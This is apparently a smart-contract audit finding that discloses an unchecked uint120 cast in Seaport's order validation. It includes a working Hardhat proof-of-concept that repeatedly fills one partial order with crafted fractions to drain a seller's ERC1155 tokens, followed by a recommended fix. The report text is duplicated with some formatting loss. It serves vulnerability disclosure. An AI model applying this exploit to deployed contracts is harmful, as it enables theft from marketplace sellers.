The contract casts values from uint256 to uint120 without checking for an overflow. This can be exploited to fulfill the same order with different fractions that sum up to more than 1 (and in fact, the sum of fractions can be made arbitrarily high). This breaks the assumption for the seller on their allocated token amount for the order. A malicious actor can target this vulnerability to almost drain the seller's token balance (the token/id used in the original validated order).
Proof of Concept
Here is a POC as a hardhat test which can be incorporated in the hardhat test file provided by this repo (since we are using some of the utility functions defined in that test file):
it("Does not revert on multiple partially filled orders with sum of fractions greater than one using advanced orders", async () => {
// for fraction 1/2^60
const n1 = toBN(1);
const d1 = ethers.BigNumber.from(2).pow(60);
// for fraction (2^60 -1)/(2^60 + 1)
const n2 = d1.sub(1);
const d2 = d1.add(1);
// M = 2^120 + 2^60
const M = d1.mul(d2);
// Seller mints nft
const { nftId, amount } = await mintAndApprove1155(
seller,
marketplaceContract.address,
M.mul(4)
);
// Offer amount needs to be divisible by M
const offer = [
getTestItem1155(nftId, M, M)
];
// Consideration amount needs to be divisible by M
const consideration = [
getItemETH(M, M, seller.address)
];
const { order, orderHash, value } = await createOrder(
seller,
zone,
offer,
consideration,
1 // PARTIAL_OPEN
);
let orderStatus = await marketplaceContract.getOrderStatus(orderHash);
expect({ ...orderStatus }).to.deep.equal(
buildOrderStatus(false, false, 0, 0)
);
// fund buyer with enough ETH
// for other routes we need to make sure
// the buyer has enough ERC20 or ERC1155 tokens
await provider.send("hardhat_setBalance", [buyer.address, M.mul(10).toHexString().replace("0x0", "0x")]);
// utility function
const _buy = async (n, d) => {
order.numerator = n;
order.denominator = d;
await withBalanceChecks([order], 0, [], async () => {
const tx = marketplaceContract
.connect(buyer)
.fulfillAdvancedOrder(order, [], toKey(false), {
value,
});
const receipt = await (await tx).wait();
await checkExpectedEvents(
tx,
receipt,
[
{
order,
orderHash,
fulfiller: buyer.address,
fulfillerConduitKey: toKey(false),
},
],
null,
[]
);
return receipt;
});
orderStatus = await marketplaceContract.getOrderStatus(orderHash);
expect({ ...orderStatus }).to.deep.equal(
// NOTE: the values below are independent
// of the input for our chosen factions n1/d1, n2/d2.
buildOrderStatus(true, false, n1, d1)
);
}
await _buy(n1, d1);
await _buy(n2, d2);
await _buy(n2, d2);
await _buy(n2, d2);
// ...
// the buyer can keep filling orders with the
// fraction n2/d2 till they almost deplete the seller's
// ERC1155 token balance, even passed the allocated
// amount for the originally signed/validated order
});
The chosen $\frac{n_1}{d_1} = \frac{1}{2^{60}}$ and $\frac{n_2}{d_2}=\frac{2^{60} - 1}{2^{60} + 1}$ fractions have this property that:
So after partially fulfilling an order with the fraction $\frac{n_1}{d_1}$, a partial fulfillment using the 2nd fraction $\frac{n_2}{d_2}$ acts as an idempotent operation which can be applied indefinitely as long as both parties have enough of their respective tokens. This means the storage variable which keeps tabs of this particular order (_orderStatus[orderHash], OrderValidator.sol#L28) will always have the value $\frac{n_1}{d_1}$ stored in its slot.
Also note:
$$
2 \frac{n_2}{d_2} \gt 1
$$
This means a malicious buyer can exchange almost all the seller's ERC1155 token (definitely more than the allocated amount in this example, the amount is M)
The above POC can be extended to any partially fillable order route. Also, there is a family of fractions for the case of just 2 fractions. And the POC can be extended to examples with more than just 2 fraction combinations.
Tools Used
HardHat
Recommended Mitigation Steps
Make sure all the arithmetic operations regarding the update process for the new numerator and denominator are done in uint120 so that an overflow would not happen
Lines of code
https://github.com/ProjectOpenSea/seaport/blob/49799ce156/contracts/lib/OrderValidator.sol#L228-L231
Vulnerability details
Repo commit referenced:
49799ce156d979132c9924a739ae45a38b39ecdd
Impact
In the lines OrderValidator.sol#L223-L239 where the
orderStatus
for anorderHash
gets updated:The contract casts values from
uint256
touint120
without checking for an overflow. This can be exploited to fulfill the same order with different fractions that sum up to more than1
(and in fact, the sum of fractions can be made arbitrarily high). This breaks the assumption for theseller
on their allocated token amount for the order. A malicious actor can target this vulnerability to almost drain theseller
's token balance (the token/id used in the original validated order).Proof of Concept
Here is a POC as a hardhat test which can be incorporated in the hardhat test file provided by this repo (since we are using some of the utility functions defined in that test file):
The chosen $\frac{n_1}{d_1} = \frac{1}{2^{60}}$ and $\frac{n_2}{d_2}=\frac{2^{60} - 1}{2^{60} + 1}$ fractions have this property that:
$$ n_1 d_2 + n_2 d_1 \equiv n1 \ (\mathrm{mod}\ 2^{120}) \ d_1 d_2 \equiv d_1 \ (\mathrm{mod}\ 2^{120}) $$
So after partially fulfilling an order with the fraction $\frac{n_1}{d_1}$, a partial fulfillment using the 2nd fraction $\frac{n_2}{d_2}$ acts as an idempotent operation which can be applied indefinitely as long as both parties have enough of their respective tokens. This means the storage variable which keeps tabs of this particular order (
_orderStatus[orderHash]
, OrderValidator.sol#L28) will always have the value $\frac{n_1}{d_1}$ stored in its slot.Also note:
$$ 2 \frac{n_2}{d_2} \gt 1 $$
This means a malicious
buyer
can exchange almost all theseller
's ERC1155 token (definitely more than the allocated amount in this example, the amount isM
)The above POC can be extended to any partially fillable order route. Also, there is a family of fractions for the case of just 2 fractions. And the POC can be extended to examples with more than just 2 fraction combinations.
Tools Used
HardHat
Recommended Mitigation Steps
Make sure all the arithmetic operations regarding the update process for the new numerator and denominator are done in
uint120
so that an overflow would not happenor
check for
uint120
overflows and revert.